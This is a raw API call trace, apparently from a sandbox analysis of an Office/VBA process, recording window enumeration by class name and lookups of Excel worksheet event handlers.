GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0128.193] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0128.193] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.193] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.193] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0128.193] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0128.193] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="remove_Thu_Annotation_wnd") returned 25 [0128.193] lstrcmpA (lpString1="remove_Thu_Annotation_wnd", lpString2="ThunderRT6Main") returned -1 [0128.193] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0128.193] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0128.193] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.193] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.193] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0128.193] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0128.193] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="pinelaboratoriesreferencedwin") returned 29 [0128.193] lstrcmpA (lpString1="pinelaboratoriesreferencedwin", lpString2="ThunderRT6Main") returned -1 [0128.193] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0128.194] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0128.194] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.194] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.194] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0128.194] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0128.194] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Matches_wnd") returned 11 [0128.194] lstrcmpA (lpString1="Matches_wnd", lpString2="ThunderRT6Main") returned -1 [0128.194] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0128.194] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0128.194] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.194] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.194] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0128.194] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0128.194] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Fresh_cn_Eggs_wnd") returned 17 [0128.194] lstrcmpA (lpString1="Fresh_cn_Eggs_wnd", lpString2="ThunderRT6Main") returned -1 [0128.194] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0128.194] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0128.194] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.194] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.194] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0128.194] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x10156 [0128.194] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="what_Volkswagen_app") returned 19 [0128.194] lstrcmpA (lpString1="what_Volkswagen_app", lpString2="ThunderRT6Main") returned 1 [0128.194] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0128.194] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x10158 [0128.194] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.194] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.194] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0128.194] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x3010a [0128.194] GetClassNameA (in: hWnd=0x3010a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="commit_Newman_Rings_win") returned 23 [0128.194] lstrcmpA (lpString1="commit_Newman_Rings_win", lpString2="ThunderRT6Main") returned -1 [0128.194] GetWindowThreadProcessId (in: hWnd=0x3010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0128.194] GetWindow (hWnd=0x3010a, uCmd=0x2) returned 0x90154 [0128.194] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.194] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.195] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0128.195] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x20116 [0128.195] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0128.195] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0128.195] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0128.195] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0128.195] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0128.195] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0128.195] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0128.195] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0128.195] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0128.195] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0128.195] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0128.195] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0128.195] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0128.195] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0128.195] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0128.195] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0128.195] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0128.195] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0128.195] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0128.195] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0128.195] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.195] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.195] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0128.195] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0128.195] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0128.195] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0128.195] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0128.195] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0128.195] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.195] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.195] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0128.195] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0128.195] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0128.195] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0128.196] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0128.196] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0128.196] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.196] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.196] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0128.196] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0128.196] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0128.196] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0128.196] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0128.196] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0128.196] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.196] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.196] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.196] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0128.196] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0128.196] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0128.196] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.196] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0128.196] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0128.196] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0128.196] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.196] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0128.196] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.196] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.196] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.196] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0128.196] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.196] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.196] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.196] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0128.196] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.196] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.196] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.196] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0128.196] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0128.196] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0128.197] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.197] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0128.197] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0128.197] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0128.197] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0128.197] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0128.197] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.197] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.197] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0128.197] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0128.197] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0128.197] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0128.197] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0128.197] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0128.197] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.197] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.197] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0128.197] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0128.197] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0128.197] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0128.197] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0128.197] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0128.197] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.197] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.197] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0128.197] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0128.197] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0128.197] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0128.197] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0128.197] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0128.197] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0128.197] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0128.198] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0128.198] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0128.198] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0128.198] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0128.198] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0128.198] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0128.198] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0128.198] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0128.198] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.198] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0128.198] GetClassNameA (in: hWnd=0x10084, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0128.198] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0128.198] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0128.198] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0128.198] GetClassNameA (in: hWnd=0x10082, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0128.198] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0128.198] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.198] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0128.198] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0128.198] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0128.198] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0128.198] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0128.198] GetClassNameA (in: hWnd=0x10080, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.198] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.198] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0128.198] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0128.198] GetClassNameA (in: hWnd=0x10076, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.198] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.198] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.198] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0128.198] GetClassNameA (in: hWnd=0x10064, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.198] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.198] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.198] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0128.199] GetClassNameA (in: hWnd=0x10110, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="#43") returned 3 [0128.199] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0128.199] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0128.199] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0128.199] GetClassNameA (in: hWnd=0x10112, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.199] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.199] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0128.199] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0128.199] GetClassNameA (in: hWnd=0x10060, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0128.199] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0128.199] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.199] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c [0128.199] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0128.199] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0128.199] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.199] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042 [0128.199] GetClassNameA (in: hWnd=0x10042, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0128.199] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0128.199] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0128.199] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0128.199] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0128.199] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0128.199] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0128.199] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048 [0128.199] GetClassNameA (in: hWnd=0x10048, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0128.199] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0128.199] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124 [0128.199] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040 [0128.199] GetClassNameA (in: hWnd=0x10040, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.199] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.199] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0128.199] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe [0128.199] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0128.199] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0128.199] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0128.199] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c [0128.199] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.200] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.200] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0128.200] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a [0128.200] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0128.200] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0128.200] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0128.200] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec [0128.200] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0128.200] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0128.200] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0128.200] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0128.200] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6edcf00 [0128.200] IMalloc:Free (This=0x7feffc15380, pv=0x6edcf00) [0128.370] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x9c000000d6 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x9c000000d6) returned 0x0 [0128.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0128.371] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0128.371] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0128.371] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0130.454] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=279, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7fee91376e0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7fee91376e0*="\x8b48\x8081") returned 0x0 [0130.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Calculate", cchWideChar=10, lpMultiByteStr=0x28f020, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Calculate", lpUsedDefaultChar=0x0) returned 10 [0130.454] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x14, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0130.454] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0xa, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0130.454] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Calculate") returned 0x106574 [0137.363] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0137.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0137.363] 